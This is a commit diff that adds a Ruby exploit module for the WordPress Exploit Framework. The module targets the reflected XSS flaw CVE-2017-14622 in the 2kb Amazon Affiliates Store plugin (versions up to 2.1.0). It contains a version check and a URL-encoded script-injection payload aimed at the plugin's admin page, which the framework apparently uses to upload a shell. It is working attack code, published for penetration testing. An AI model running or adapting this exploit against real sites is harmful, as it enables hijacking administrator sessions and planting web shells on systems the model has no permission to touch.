Add 2kb Amazon Affiliates Store <= 2.1.0 reflected XSS shell upload

Author: rastating

modules/exploits/2kb_amazon_affiliates_store_reflected_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::TwoKbAmazonAffiliatesStoreReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: '2kb Amazon Affiliates Store <= 2.1.0 Reflected XSS Shell Upload',
+      author: [
+        'rsanchezr', # Dislosure
+        'rastating'  # WPXF module
+      ],
+      references: [
+        ['CVE', '2017-14622'],
+        ['WPVDB', '8918']
+      ],
+      date: 'Sep 20 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('2kb-amazon-affiliates-store', 'readme.txt', '2.1.1')
+  end
+
+  def xss_payload
+    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
+  end
+
+  def url_with_xss
+    "#{wordpress_url_admin_options}?page=kbAmz&kbAction=demo#{xss_payload}"
+  end
+end